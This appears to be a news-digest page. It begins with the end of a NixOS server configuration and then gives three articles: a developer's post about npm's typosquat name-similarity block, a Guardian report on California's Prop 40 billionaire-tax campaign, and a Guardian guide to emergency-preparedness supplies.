    algorithm = "zstd";
    memoryPercent = 100;
    memoryMax = 536870912;
  };

  networking.hostName = "";
  networking.useDHCP = false;
  networking.resolvconf.enable = false;
  services.resolved.enable = false;
  systemd.oomd.enable = false;

  services.timesyncd.enable = false;
  systemd.services.tierhive-ntp = {
    description = "One-shot clock sync";
    after = [ "network-online.target" ];
    wants = [ "network-online.target" ];
    serviceConfig.Type = "oneshot";
    serviceConfig.ExecStart = "${pkgs.busybox}/bin/ntpd -n -q ${lib.concatMapStringsSep " " (s: "-p ${s}") config.networking.timeServers}";
  };
  systemd.timers.tierhive-ntp = {
    wantedBy = [ "timers.target" ];
    timerConfig.OnBootSec = "30s";
    timerConfig.OnCalendar = "*-*-* *:17:00";
  };

  environment.etc."systemd/journald.conf.d/10-tierhive.conf".text = ''
    [Journal]
    SystemMaxUse=50M
  '';

  environment.variables = {
    GC_INITIAL_HEAP_SIZE = "33554432";
    GC_FREE_SPACE_DIVISOR = "8";
    GC_FORCE_UNMAP_ON_GCOLLECT = "1";
  };

  environment.defaultPackages = [ ];
  xdg.mime.enable = false;
  xdg.icons.enable = false;
  xdg.sounds.enable = false;
  fonts.fontconfig.enable = false;
  services.lvm.enable = false;
  boot.bcache.enable = false;
  systemd.suppressedSystemUnits = [ "systemd-importd.service" "sys-kernel-config.mount" ];
  system.tools.nixos-option.enable = false;
  system.tools.nixos-build-vms.enable = false;
  system.tools.nixos-install.enable = false;
  system.tools.nixos-enter.enable = false;
  security.pam.services.su.forwardXAuth = lib.mkForce false;

  documentation.enable = false;
  documentation.man.enable = false;
  documentation.nixos.enable = false;

  services.openssh = {
    enable = true;
    startWhenNeeded = true;
    settings.PermitRootLogin = null;
    settings.PasswordAuthentication = null;
    settings.KbdInteractiveAuthentication = false;
    extraConfig = "Include /etc/ssh/sshd_config.d/*.conf";
  };
  security.pam.services.sshd.unixAuth = lib.mkForce true;
  systemd.tmpfiles.rules = [ "d /etc/ssh/sshd_config.d 0755 root root -" ];

  environment.etc.fstab.mode = "0644";

  services.cloud-init = {
    enable = true;
    network.enable = true;
    settings = {
      datasource_list = [ "NoCloud" ];
      system_info = {
        distro = "nixos";
        network.renderers = [ "networkd" ];
        paths.templates_dir = "${pkgs.cloud-init}/${pkgs.python3.sitePackages}/etc/cloud/templates";
      };
      unverified_modules = [ "resolv_conf" ];
      ssh_deletekeys = false;
      ssh_genkeytypes = [ ];
      cloud_init_modules = [ "seed_random" "bootcmd" "write_files" "growpart" "resizefs" "set_hostname" "update_hostname" "update_etc_hosts" "resolv_conf" "users_groups" "ssh" ];
      cloud_config_modules = [ "set_passwords" "runcmd" ];
      cloud_final_modules = [ "package_update_upgrade_install" "write_files_deferred" "scripts_vendor" "scripts_per_once" "scripts_per_boot" "scripts_per_instance" "scripts_user" "keys_to_console" "final_message" ];
    };
  };
  systemd.services.cloud-init-local.unitConfig.ConditionPathExists = "!/etc/cloud/cloud-init.disabled";
  systemd.services.cloud-init.unitConfig.ConditionPathExists = "!/etc/cloud/cloud-init.disabled";
  systemd.services.cloud-config.unitConfig.ConditionPathExists = "!/etc/cloud/cloud-init.disabled";
  systemd.services.cloud-final.unitConfig.ConditionPathExists = "!/etc/cloud/cloud-init.disabled";

  systemd.services.tierhive-lldp-off = {
    description = "Disable LLDP reception on the cloud-init network files";
    unitConfig.DefaultDependencies = false;
    after = [ "cloud-init-local.service" ];
    before = [ "systemd-networkd.service" ];
    wantedBy = [ "multi-user.target" ];
    serviceConfig.Type = "oneshot";
    script = ''
      for f in /etc/systemd/network/10-cloud-init-*.network; do
        [ -e "$f" ] || continue
        [ -e "$f.d/10-tierhive-lldp.conf" ] && continue
        mkdir -p "$f.d"
        printf '[Network]\nLLDP=no\n' > "$f.d/10-tierhive-lldp.conf"
      done
    '';
  };

  systemd.services.tierhive-reserved-blocks = {
    description = "Set root fs reserved blocks to 0.01% after first-boot grow";
    wantedBy = [ "multi-user.target" ];
    after = [ "cloud-init.service" ];
    unitConfig.ConditionPathExists = "!/var/lib/tierhive/reserved-blocks.done";
    path = [ pkgs.e2fsprogs pkgs.util-linux pkgs.gawk ];
    serviceConfig.Type = "oneshot";
    script = ''
      dev=$(findmnt -no SOURCE /)
      blocks=$(tune2fs -l "$dev" | awk -F: '/^Block count/{gsub(/ /,"",$2); print $2}')
      tune2fs -r $((blocks / 10000)) "$dev"
      mkdir -p /var/lib/tierhive
      touch /var/lib/tierhive/reserved-blocks.done
    '';
  };
}

Have a play and a tweak and report back, maybe this can go further :)

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No, npm, “estee” is not a typo of “testem”

Lobsters
smoores.dev
2026-10-30 11:01:56
Comments...
Original Article

Oct. 30, 2026

So, alright, look, here's the thing. Storyteller has a really long npm namespace because “storyteller” is a really common word, and so “@storyteller/” was already taken (by someone who doesn’t actually seem to use it, which, if you’re reading this, I’m still interested in your namespace!). So we’re stuck with “@storyteller-platform/”, and that means our command line tool for book forced alignment is named “@storyteller-platform/align”, and so you need to run “npx @storyteller-platform/align --help”, etc, which is a handful!

And so we came up with a cute nickname, “estee” (get it? Storyteller -> ST -> estee?), and we were pretty happy with it, so I went to publish a v0.0.1 to npm so I could set up Trusted Publishing with our GitLab repo and then this happened:

403 Forbidden - PUT https://registry.npmjs.org/estee -

Package name too similar to existing packages espree,testem

... What? Too similar to... “testem”? I mean I can almost understand “espree”. I don’t actually see how someone could accidentally typo “espree” as “estee”, but at least they're similarly shaped. But “testem”? No chance, that is not a typo candidate for “estee”.

I mean it’s pretty clear what’s happening here. Npm is using a Levenshtein distance calculation and banning any packages that have a Levenshtein distance of 2 or less from existing popular package names. Levenshtein distance counts the number of “edits” needed to get from one string to another, where an edit is a single character insertion, replacement, or deletion. So to get from “estee” to “testem”, we have to make the following edits:

  1. t estee
  2. t este e m

See? Levenshtein distance of 2. We used this for the first several iterations of the Storyteller algorithm, which needs to find where a given sentence lives in a transcription of an audiobook.

Here’s the thing: Levenshtein doesn't scale down very well. You can’t just set a single threshold for all input lengths, because as the length of the string approaches the threshold, the proportion of the set of valid strings covered by the threshold explodes.

Here’s what I mean. Say you are concerned with all npm package names with length 4. Npm allows the characters a-z, plus the symbols “.”, “-”, and “_”, so there are 29 possible characters in our alphabet. For a 4-character string, that gives us 29 4 possible names, or 707,281 possible names.

But what happens if you don't allow any names that have a Levenshtein distance of 2 from any existing names? How many packages can exist before you have to start rejecting all new package names? This is a little hard to answer completely (and we’re ignoring the fact that, because Levenshtein distance allows pure insertions and deletions, this also affects 2-, 3-, 5-, and 6-character names), but we can set an upper bound: 29 2 , or 841.

This is because, since Levenshtein distance allows a replace edit, you can get from a string like “abaa” to any string starting with “ab”. So once you have all 841 strings starting with every combination of the first two characters, that’s it, you’re done, no more names. That’s 1.2% of the total name space actually available to choose from.

This is especially apparent when considering our backup name, “hoid” (get it? Hoid ? World-hopping Storyteller?). Here are the popular packages that npm thinks “hoid” might be typosquatting on:

  1. hoek
  2. hono
  3. uid
  4. ulid
  5. cuid
  6. uuid
  7. joi
  8. gopd
  9. poi
  10. zod

Two things to notice about this list:

  1. It’s much longer than the first list. This is because of the string-length — 4 is so close to 2 that you can reach way more usable words from a given length-4 string with a distance-2 Levenshtein threshold
  2. None of these look like actual typo candidates for “hoid”. They’re all at least 50% different from “hoid”! “gopd”? “ gopd ”!?

Also, this just isn’t a very good rule. Seriously, this rule would have banned the project “preact” from being created because “react” already existed. It would have banned “estree” (which I assume only didn't trigger on my “estee” attempt because it’s not sufficiently “popular”) from being created because “espree” already existed. I could go on and on. I understand that npm is under a lot of pressure to try to prevent this flavor of typosquatting malware distribution, and I know that there probably needs to be some amount of automation involved here, but surely there should be some sort of manual override?

Actually that’s a good point. In fact, when I tried to first publish Storyteller’s “@storyteller-platform/audiobook” package, I ran afoul of npm’s other rule about new package names, which is that they can’t, I dunno, use the word “audiobook”?

Cool, thanks. I think what actually happened here is that people were publishing literal copyrighted audiobooks on npm. Anyway, I emailed npm support that time, and they immediately disabled the block for “audiobook” and allowed me to publish it. This was actually a wonderful customer support experience, so much so that when I ran into my issue above, the first thing I tried was to reach out to npm again.

Only, this time they weren’t so helpful (I’m sure they’re getting deluged with LLM-generated support requests, just like everyone else, and they were still perfectly pleasant):

The error you received is a typosquat functionality that will prevent security vulnerabilities

For more information on typosquat please refer to:

https://blog.npmjs.org/post/168978377570/new-package-moniker-rules

We are unable to get around the automated typosquat block.

Only, here’s the thing, that blog post doesn’t say what the support person says it does. Instead, it’s about how npm rejects any package names that are the same as existing package names except for punctuation . That’s not what we’re experiencing at all!

Also, I suspect that someone at npm/GitHub can get around this typosquat block. Plenty of pre-existing packages break this rule — if someone created the package for me from a backend/admin interface that didn’t enforce the block, I could use it

And, look, we’re gonna be fine. We’ll probably spell the CLI name “estie”, which is less fun to type and I think slightly less cute, but ultimately the same, and manages to avoid tripping any similarity alarms. But I feel… saddened, somewhat, that it’s probably not possible to make a 1-, 2-, 3-, or 4-character npm package name anymore. Not because they’re all taken, but because of a clumsy rule, and even worse, one that’s ultimately probably necessary to prevent some cruel people from hurting others. Ugh.

Billionaire tax: how a union leader’s ‘crazy’ idea became the defining issue of California’s midterms

Guardian
www.theguardian.com
2026-10-30 11:00:19
It was an ambitious notion – now Californians will vote on a one-time 5% billionaire tax, and state’s super rich have pulled out all the stops in opposition One year ago, the idea of a billionaire tax in California was still in its infancy. It wasn’t yet one of the most contentious ballot measure fi...
Original Article

One year ago, the idea of a billionaire tax in California was still in its infancy.

It wasn’t yet one of the most contentious ballot measure fights in state history – pitting Democrats against Democrats, drawing national attention from political heavyweights, and netting hundreds of millions of Silicon Valley dollars to fight it. Back then, it was a bold and desperate answer to Donald Trump’s healthcare cuts.

Trump had just signed the One Big Beautiful Bill Act, which dictated a trillion dollars of Medicaid, Affordable Care Act and other healthcare funding be cut over the next decade to offset sweeping tax cuts. When the bill goes into effect in January, that could mean more than 3.4m Californians will lose their coverage, including millions of children.

“That’s why we were willing to do something that lots of people said was crazy,” said Dave Regan, the divisive architect of the billionaire tax and president of the healthcare union SEIU-United Healthcare Workers West (SEIU-UHW). “To us, what’s crazy is doing nothing and watching millions of people lose coverage.”

Now, with the midterms less than a week away, California voters will decide on whether to pass the ballot measure known as Proposition 40. The proposal would levy a one-time 5% tax on billionaires living in the state as of 1 January 2026, the proceeds of which would fund healthcare programs, along with some education and food assistance.

The initiative has its critics, even among Democrats, who point at its structure as a one-off tax that would only fund certain healthcare programs. But its most vocal critics have been billionaires.

The idea of taxing the Golden State’s ultra-wealthy has snowballed into a messy brawl over the last year. Progressive politicians have become bedfellows with tech billionaires, opposition ballot measure campaigns have been mounted, Signal chats leaked, and boatloads of money have been spent.

Tech billionaires have treated the proposal as an existential threat, dumping upwards of $356m into “independent expenditure-only” political action committees (Super Pacs) to stop it. In the first two weeks of October, according to the most recent campaign filings, the opposition campaign spent more than $42.8m – surpassing $2.5m per day. That money went to an army of consultants , who have been tasked with lobbying politicians, blanketing the airwaves with ads and placing op-eds in Latino newspapers across the state.

people hold signs that say ‘billionaire tax now’
Attendees cheer Bernie Sanders at a rally in Los Angeles in February in support of the billionaire tax. Photograph: Patrick T Fallon/AFP/Getty Images

“This looks like it’s going to be the most expensive ballot measure ever,” said David McCuan, a political science professor at Sonoma State University. “Not in California history, but in the history of the world.”

Meanwhile, the far-less-funded pro-Prop 40 camp has relied on viral social media campaigns from influencers and actors, including the artist Shepard Fairey and actor Mark Ruffalo , and raucous rallies headlined by leftwing politicians. During one packed event in San Francisco earlier this month, Vermont’s Bernie Sanders said: “The whole country, and frankly people from around the world, are paying attention to what is happening here.”

While Prop 40 is just one ballot measure election in one state, it is causing ripple effects nationwide. It comes at a time when affordability is top of mind and the disparity of wealth in the US hasn’t been so stark since the Great Depression . McCuan said the billionaires’ big spend was partially due to a fear of contagion to other states. Likewise, supporters say they hope the proposed tax is a harbinger for referendums on wealth inequality across the country.

Regan and his union got started on their endeavor last summer. After Trump signed his bill on 4 July, Regan’s team began making calls. They put together a working group of policy experts, economists, lawyers, researchers and political consultants, who came up with the one-time 5% tax to keep hospitals open and union healthcare workers in their jobs.

Regan is known for using the ballot measure process as a political tool to strongarm deals with lawmakers and push causes important to the SEIU-UHW. Since 2012, the union has sponsored 48 initiatives . The strategy with the billionaire tax was to sharpen the focus on inequality.

“We worked to come up with something that could draw enough support from voters, and that could avoid a catastrophe,” Regan said. “We just bore down on that.”

When their plan became public after the October 2025 filing deadline, the billionaires hatched a working group of their own.

‘If there’s an impediment, just buy it’

Chris Larsen, a cryptocurrency mogul, hosted a Christmas party in northern California’s swanky Marin county last December, according to Bloomberg . It was in a treehouse tucked into a grove of towering redwood trees. The singer Janelle Monáe performed and California governor Gavin Newsom was there, along with Google co-founder Sergey Brin.

Newsom’s relationship with Brin goes back decades to when he was mayor of San Francisco. The governor, now a presumed presidential candidate, had flown on Google’s jet with Brin , and the two men attended each other’s weddings. But a lengthy exchange they reportedly had at Larsen’s party was far from collegial.

Brin confronted Newsom about the proposed billionaire tax, according to people who spoke with Newsom, Bloomberg reported. The Google co-founder, currently worth about $245bn, told the governor it was forcing him to leave California.

Newsom and Brin did not respond to the Guardian’s detailed list of questions.

By that point, more than a dozen tech executives and prominent Silicon Valley venture capitalists had reportedly already joined an encrypted Signal group chat expressly dedicated to burying the billionaire tax, the San Francisco Standard reported. Brin and Larsen were members, along with venture capitalist Marc Andreessen, PayPal co-founder Max Levchin, Stripe chief executive Patrick Collison and investor Ron Conway, according to people who saw the chats.

Larsen and Levchin declined to comment. Brin, Andreessen, Collison and Conway did not return requests for comment.

a man looks off to the side
Google co-founder Sergey Brin at a conference at the renamed Donald J Trump Institute of Peace in Washington earlier this month. Photograph: Evan Vucci/Reuters

The group brainstormed ideas for fighting the tax. They reportedly met every Tuesday for months via video call, debated fleeing the state, and tussled over how much to trust Newsom because of his position as a Democratic governor of a blue state. Newsom has long opposed state wealth taxes and quickly came out against the billionaire tax, repeatedly saying it would “drive a race to the bottom” and stifle innovation as the ultra-wealthy leave.

While a handful of those ultra-wealthy have left, the vast majority of the state’s 200-plus billionaires have remained – including Nvidia CEO Jensen Huang, who said he’s “perfectly fine” with the tax . Initially, Meta CEO Mark Zuckerberg threatened to leave California, but filings with the Securities and Exchange Commission last week revealed he struck a deal with his company’s board to help him foot the bill if Prop 40 passes in exchange for staying in the state.

Among others who indicated they’re departing are Palantir co-founder Peter Thiel, Trump’s former AI and crypto czar David Sacks, and Google co-founders Larry Page and Brin. Last December, Brin moved to a $42m mega-mansion on the Nevada side of Lake Tahoe, just steps from California’s border.

Brin is the de facto ringleader of the Prop 40 opposition campaign. Through a Super Pac called Building a Better California, he’s contributed at least $102m to the cause – more than any other donor. Brin worked with political operatives and had his family office map out plans to trounce the tax, according to the New York Times . Brin is also a frequent guest at the White House and was awarded the National Medal of Science by Trump earlier this month.

Abby Lunardini, a spokesperson for Building a Better California, said: “Californians deserve to know the facts about a measure that would permanently gut the state’s budget, tax base, and economic advantage, all while making the problem it’s supposed to be fixing – healthcare funding – worse.”

Another major early donor to the opposition campaign was Thiel, who gave $3m to the California Business Roundtable Super Pac at the end of December. Larsen has donated more than $23m through various Super Pacs, and former Google CEO Eric Schmidt has given more than $42m, according to campaign finance filings.

At least some of the donations were in cryptocurrency, which had to be converted to dollars under state rules, documents show. Campaign expenditure filings for the tech Super Pacs reveal more than $40,000 has been spent on crypto processing fees alone. Company stock shares given by founders like DoorDash’s Tony Xu reportedly comprised another significant chunk .

a man walks outside
Peter Thiel leaves the presidential palace in Buenos Aires after a meeting with Argentina’s rightwing president Javier Milei in April. Photograph: Matias Baglietto/Reuters

The opposition campaign’s initial goal was to ensure Prop 40 didn’t make the ballot. They already had Newsom publicly vowing to defeat the proposal. The next step was to go after the signature-gathering process. Anyone can put forward a ballot measure in California if they can gather enough signatures by the filing deadline. Signature-collection firms charge per signature, and the price fluctuates each election based on demand.

Opponents to the billionaire tax came up with a strategy to kneecap SEIU-UHW’s signature-gathering process by introducing several ballot measures of their own to boost the price of each signature – the going rate went from $4 per signature to a record-breaking $36.

The venture capitalist Conway spelled it out in a podcast in March: “Our job is to get Gavin to negotiate this so that it doesn’t get to the ballot. So maybe they don’t get the signatures.”

When the SEIU-UHW used mostly volunteers to amass their signatures, the opposition campaign reportedly attempted another plan – purchase the firm the union used for signature-collection, so that those signatures couldn’t be used, according to Regan. The same idea was floated in the Signal chat, according to the San Francisco Standard, with one participant reportedly messaging: “That’s what you would do in business: If there’s an impediment, just buy it.”

Fred Kimball is the president of the signature-gathering firm Kimball Petition Management, which worked with the SEIU-UHW and pioneered this type of business. He said that not only did his company endure denial-of-service cyberattacks, which stalled their signature validation process, but he received two calls from unnamed individuals inquiring about a sale.

“It never got any further than that,” Kimball said. “The requirement would be that I’d have to turn over the signatures. Once you do that, it’s all over … My dad started this industry, there’s no way I’d do that.”

By the end of April, well before the signature filing deadline in June, the SEIU-UHW took a victory lap, announcing they’d gathered 1.55m signatures – nearly double the necessary amount to qualify for the ballot.

“This is a David versus Goliath battle,” Mayra Castaneda, an executive member of SEIU-UHW, said at a press conference at the time. “David has just won the first round.”

The showdown

After the union’s signature-gathering triumph, the responsibility to kill the billionaire tax rested with Newsom, at least in the eyes of billionaires. Newsom’s objective was to reach a compromise with the SEIU-UHW to withdraw its proposal before the June deadline. The governor and Regan had been in talks since December, Regan said, but they remained at odds in finding a solution to the impending healthcare crisis.

Newsom had brought together a coalition to negotiate a deal, enlisting other unions and interest groups to oppose the tax . The governor also tried to get Regan to his side, according to Regan. He said Newsom’s chief of staff invited the union boss to a press conference, in which the governor would credit Regan for a national wealth tax proposal . Regan said Newsom’s national plan lacked teeth, so he declined.

SEIU-UHW offered a counter proposal: they’d drop the one-time tax from 5% to 2% if Newsom endorsed it. In a letter to the governor , the union wrote: “Let’s save patient lives together.”

“But that was a non-starter,” Regan said. So SEIU-UHW announced in late June that it was advancing to the ballot, saying: “David won the second round against Goliath”.

a man looks ahead
Gavin Newsom at a Democratic rally in San Francisco last week. Photograph: Heather Diehl/AP

Two billionaire-backed countermeasures also made the ballot, however: Proposition 41 and 42. Prop 41 directly targets the billionaire tax, while Prop 42 is a general proposal on limiting certain new taxes and would ban any taxation on billionaire wealth. If either measure receives more yes votes than Prop 40, it will stop the billionaire tax from taking effect – even if it passes. Regan calls them “poison pills”.

After that, the battle entrenched. Flush with tech money, which kept rolling in, the opposition side grew quickly, landing dozens of endorsements. Planned Parenthood Affiliates of California, the lobbying branch of the healthcare group, joined the cause, as did the influential California Teachers Association, the California Medical Association, and a host of building and trade unions and public safety associations.

The newly formed coalition launched an ad campaign calling Prop 40 a “dangerous wealth tax” and “reckless experiment”. The campaign received endorsements from several prominent Democrats, including Xavier Becerra, the gubernatorial candidate; Katie Porter, a former congresswoman; and Daniel Lurie, the mayor of San Francisco. While Porter contends the tax doesn’t fix the underlying system, Lurie argues the tax would drive revenue out of California . Becerra says billionaires should pay their fair share, but Prop 40 isn’t how to do it.

When asked about No on 40’s campaign strategy, a spokesperson for the campaign instead shared a comment from Jack Chou, the president of the California Medical Association, who said the cause has gained endorsements because the measure “permanently damages our economy and budget while failing to fix our healthcare system, improve care, or lower costs.”

The Prop 40 campaign looked doomed as its core allies, Democrats and unions, were jumping ship. But then things took a turn.

In August, the California Democratic party held a board meeting in San Diego, where they voted on endorsing Prop 40. At first, the measure lost. But, according to people familiar with the matter, Congresswoman Maxine Waters stepped in and condemned her colleagues for not supporting the tax. A reconsideration was introduced and the votes swung in favor of Prop 40.

State filings show that the opposition campaign had donated tens of thousands of dollars to the California Democratic party, along with the Democratic parties of San Diego, Orange county and Los Angeles county. Despite the donations, all of these Democratic parties have endorsed the billionaire tax.

people hold signs during a strike
Members of the SEIU march during a one-day strike in Sacramento last week. Photograph: Jose Luis Villegas/AP

Ro Khanna, the Democratic congressman who represents the district that includes Silicon Valley, has been a staunch supporter of Prop 40 . “It makes no sense to me why any democratically elected official or traditional Democratic allies wouldn’t be supporting this,” he said during a June press conference. “People want folks who are going to stand up to the billionaires and the trillionaires.”

Another turning point was the endorsement of the powerful California Federation of Labor Unions AFL-CIO, which lists 1,300 unions in its roster. During its biennial convention in August, its members voted overwhelmingly to endorse Prop 40.

Lorena Gonzalez, the president of the federation, described the scene on the floor of the convention center that day. One-by-one, union healthcare workers stood up and spoke passionately about the need to fund hospitals, maternity wards and emergency rooms to ensure they don’t close in the wake of Trump’s One Big Beautiful Bill Act, she said.

“Once you heard that, and heard that billionaires got tax breaks from the big BS bill and that Medi-Cal got cut, it just became a no-brainer,” Gonzalez said. “I’m not going to be a labor movement that bows down to the establishment and is scared of taking on billionaires.”

Mudslinging abounds and record-breaking spending

As the election nears, California residents have witnessed the two campaigns vie for attention and relentlessly demonize each other.

Last week, after Newsom endorsed the billionaire’s Prop 42 countermeasure , which would stop the state from ever passing a wealth tax, the Prop 40 campaign released an attack ad on the governor. Likewise, the opposition campaign sent voters across the state a glossy four-page mailer that read: “You’re Next.”

Since July, the tech Super Pacs have upped their donations to the committees opposing Prop 40 and supporting Props 41 and 42. The three campaigns have received a total of more than $379.5m – making it the most expensive opposition campaign in state history. “We’ve said for months we’re going to get carpet-bombed by these guys,” Regan said. “Their so-called strategy, there’s only one prong to it: we can buy anything we want.”

Along with the flood of spending and negative ads, accusations and personal attacks have been flying in all directions. Much of this has been focused on Regan, who’s been criticized in Democratic and union circles for being an aggressive bulldog and spending his union’s resources to push ballot measures.

In one specific instance, Courtni Pugh, a former executive director at the SEIU, accused Regan of physically assaulting her in 2009, according to the Los Angeles Times . She said he kicked open her office door, pinned her against a wall and screamed that she was a “dumb ass”. The SEIU investigated the allegations this year and wrote in a report that Pugh’s claim was substantiated. Regan denied the alleged abuse, claiming that the allegations against him are retaliatory for his support of Prop 40. (The union investigation did not substantiate Regan’s retaliation claim.) Law enforcement did not investigate the abuse allegations and no charges were brought.

Pugh is now serving as a senior advisor to Becerra and working as a consultant for the No on 40 campaign. Regan told the Guardian: “Courtni Pugh, at Hilltop Solutions, wants to invent accusations about me from 17 years ago on the payroll of the billionaires.”

Pugh said Regan’s response “is offensive to the people – especially the women and women of color – who have had to endure his threatening behavior”. A spokesperson for Becerra said Pugh has not advised him on his position on the wealth tax.

a man stands in front of a bus emblazoned with ‘tax the ultra-rich now’
Dave Regan, the SEIU-UHW president, during a ‘Yes on 40 for Ballots Over Billionaires’ rally in San Francisco. Photograph: Jason Henry/Bloomberg via Getty Images

The newest Democrat to vocally oppose Prop 40 is former congresswoman Porter, who’s known for taking corporate executives to task. She has written op-eds in local papers, posted videos on social media, and is quoted in ads and mailers saying: “Prop 40 does nothing to reform our healthcare system.” After losing a gubernatorial bid to Becerra earlier this year, she said she was retiring from politics. But she’s waded back into the fray with Prop 40. Late last month, Newsom also appointed her to a paid position on the board of governors for the state’s community colleges.

Despite the controversy and criticism, the SEIU-UHW has brought notable figures to its side. Last month, six Nobel prize-winning economists wrote an open letter endorsing Prop 40. Doing the math, they wrote that the combined wealth of California’s billionaires is $2.3tn, equal to the entire annual income of all 20m taxpayers in the state. They pointed out that billionaires’ net worth has grown nearly 150% over the past couple of years, fueled by the AI boom. “This tax only partially plays catch-up, but it is a move in the right direction,” the economists wrote.

Now it’s up to the voters, who appear to be unswayed by the onslaught of messaging. A Politico poll last week showed that 84% of registered voters said they’d seen campaign ads involving Prop 40 and the majority of them weren’t persuaded into changing their positions. Despite that, the measure has fallen in the polls. While it enjoyed a seven-point lead over the summer, it’s since fallen to a one-point lead.

For Regan, win or lose, he said the idea of taxing billionaires isn’t going away.

“I think this campaign has already put this issue on the national agenda in a very significant way,” he said. “This issue is going to be at the center of the nominating process for a Democratic candidate in 2028.”

Buy a wind-up radio – and don’t forget the chocolate: survival experts on how to prepare for an emergency

Guardian
www.theguardian.com
2026-10-30 11:00:17
UK government guidance says we should be ready for the unexpected, but what’s actually helpful to have at home? We ask the specialists • The best power banks – tested How prepared are you for an emergency? Do you have a few extra tins of beans in the cupboard, or a full-on preppers’ kit in the cella...
Original Article

H ow prepared are you for an emergency? Do you have a few extra tins of beans in the cupboard, or a full-on preppers’ kit in the cellar? While no one likes to think about worst-case scenarios, you can’t have failed to notice the growing noise around being sensibly, practically ready for floods, power cuts, cyber-attacks and other events.

The government launched its Be Ready campaign in October with guidance on how to prepare for emergencies , including a list of suggested items to have at home.

To help you understand what to buy, and where to buy it from, we asked survival, medical and nutritional experts for their advice. “There’s lots of panic about upcoming floods, El Niño and AI attacks, but this emergency preparedness is something we all should be doing anyway. It’s just a good idea to look after yourself and your family like this,” says Hannah Cloke, regius professor of meteorology and climate science at the University of Reading. And if you are in a position to do so, consider donating to a charity like Trussell to help support one of the almost one in 10 UK households already experiencing food insecurity.

From wind-up radios to water filters, here’s what the experts recommend adding to your list.

Are you stocking up on essential items at home? What products have you found useful for past events such as power cuts or being without water? Please let us know how you’re following government advice at thefilter@theguardian.com .


What to keep at home in case of emergencies

A woman checks her phone over a table of emergency supplies and a first aid bag
Ready for anything: a little planning can help you cope with the unexpected. Photograph: Natalia Lebedinskaia/Getty

First aid kit

“Top of my list is a good first aid kit with sterile dressings that you can cut to size, not just little plasters, and some kind of tape to secure it with,” says John Hudson, chief survival instructor to the UK military and author of How to Survive: Lessons for Everyday Life from the Extreme World . “Zinc oxide tape is good because it’s super sticky and can be used for blisters. Other basics include crepe or elastic roller bandages, sterile eye pads, blunt-ended scissors, tweezers, safety pins or clips, alcohol-free antiseptic wipes and gloves for if you’re helping someone else. Lifeventure makes good travel-sized first aid kits.”

Will Duffin , an NHS GP working in urgent care who runs the Extreme Medic Instagram account, also stresses the importance of a good first aid kit. “I recommend buying an off-the-shelf first aid kit, and then you can add bits into that,” he says. “One of the main things for families is a thermometer and some Calpol.” Duffin also suggests having supplies of basic, over-the-counter medication that might come in handy, such as paracetamol, ibuprofen, antihistamines, Imodium and rehydration sachets.

“The other day-to-day one is wound care – cuts, aches and sprains. So have some antiseptic, sterile gauze, basic dressings such as plasters and medical tape,” he says. As well as getting the gear, you need to have some idea of what to do with it, which is why Duffin recommends going on a basic first aid course. Organisations such as St John Ambulance and British Red Cross offer various options.

A red zippered Lifesystems ‘Traveller first aid Kit’ pouch with a white cross logo

Traveller first aid kit

£37.99 at Lifeventure
£37.99 at Lifesystems
A white Braun digital ear thermometer displays a reading of 37.0 degrees

Braun ThermoScan 7 ear thermometer

£36 at Lloyds Pharmacy
From £44.85 at Amazon
A Tommee Tippee digital thermometer with blue and white body displays a reading of 36.2 degrees

Tommee Tippee 2-in-1 thermometer

£14.99 at John Lewis
£15 at Boots

Wind-up radios

In case channels of communication go down, the government has advised buying a battery or wind-up radio, some of which also have a torch and a USB slot to charge your phone. “It’s such a simple piece of kit. The wind-up versions are great because in an emergency, you can use the power of your own arm to power the battery,” says Cloke.

A black portable wind-up radio with handle, antenna, and bright LED torch light shining

I mmver wind- up radio with 10,000mAh battery and LED torch

£34.02 at B&Q
£28.99 at Amazon

A wool blanket and jumper

“If you haven’t already got some kind of woolly throw or blanket in the house, get one. It doesn’t have to be expensive merino wool or anything like that; it just needs to be wool,” says Hudson. The same goes for woolly jumpers, too. “People have probably got enough clothes in their house, but make sure you have something that’s got a lot of wool in it. A jumper is brilliant because if it’s chucking it down with rain and you get caught out, wool will keep you warm even when it’s wet,” he says. Both are helpful if you have no way to heat your home, and are one of the best ways to keep you warm even if it’s damp.

Four rolled recycled wool blankets in various plaid patterns, stacked and wrapped with paper bands

Recycled wool blanket

£30 at the RNLI

Supplies for your car

“[Many of us] are in our cars all the time, and what happens if you get stuck? Put some blankets and warm clothes into it, have a torch, some batteries, jump leads, a small shovel, a hi-vis jacket so you can safely ask for help at night, some basic water and long-life food, and a first aid kit. A mini version of what’s in your house,” says Cloke. It’s also a good idea to have a sleeping bag in the boot of your car, so that if you’re driving and you get stuck or your car breaks down, you can stay warm in the car, says Hudson. “The sleeping bag can help stop you from becoming hypothermic. You want a hollow-fibre one because it will still keep you warm if it gets damp. Snugpak does great stuff, and several of its products are used by the military. You can also get secondhand sleeping bags from military surplus stores,” he says.

A green mummy-style sleeping bag lies partially unzipped, hood open, on a white background

Snugpak the sleeping bag

£42.95 at Outdoor Action
From £41.06 at Amazon
A black and yellow AA winter car kit bag displays contents including a vest, torch and foldable shovel

AA winter car kit with folding snow shovel

£21 at Argos
£15.73 at Amazon

A torch

“Most of us have got torches on our phones, but in an emergency you will want to save the battery for contacting people and other things. A basic torch and some spare batteries are a very useful thing during a power cut,” says Cloke. You can also buy wind-up torches , which save on batteries.

A black Energizer metal torch lies diagonally, lens pointed toward the lower left

Energizer 1,000- lumen metal torch

£20 at Tesco
£20 at B&Q
Rows of Duracell Plus AA batteries stand beside their packaging, with a pink rabbit mascot waving behind

D uracell Plus AA alkaline batteries (30 pack)

£27.95 at B&Q
£22.49 at Amazon

Space blanket

“Some of the cheap space blankets take up no space, but they’re like wrapping yourself in something thinner than a crisp packet, so they will rip if there are any sharp edges or wind. Reinforced ones are really robust. They’re a big sheet that’s silver on one side and brightly coloured on the other, with rivets in the corner, so you can do all sorts with them,” says Hudson. “Space blankets are lined with very thin, highly reflective aluminium so any radiated body heat is reflected back to you rather than being lost to your surroundings. Plus, the orange colour is a great way to get spotted by any potential rescuers if you’re outdoors.”

An orange foil survival blanket lies folded beside coiled ropes and a small drawstring pouch

R edcamp heavy- duty emergency blanket

£17.99 at Amazon

Head torches

“Head torches are great because you’re still able to use both hands while being able to see in the dark,” says Hudson. “You can spend a fortune on them, but you don’t have to. I bought an Energizer one recently, and it’s all that you really need. That one needs batteries, but you can get rechargeable ones too – I have one from Everbeam.”

A black headlamp with three LED lights sits on a grey elastic strap printed with ‘Energizer’

Energizer Vision 400- lumen head torch

£19.99 at Argos
£24.99 at Robert Dyas
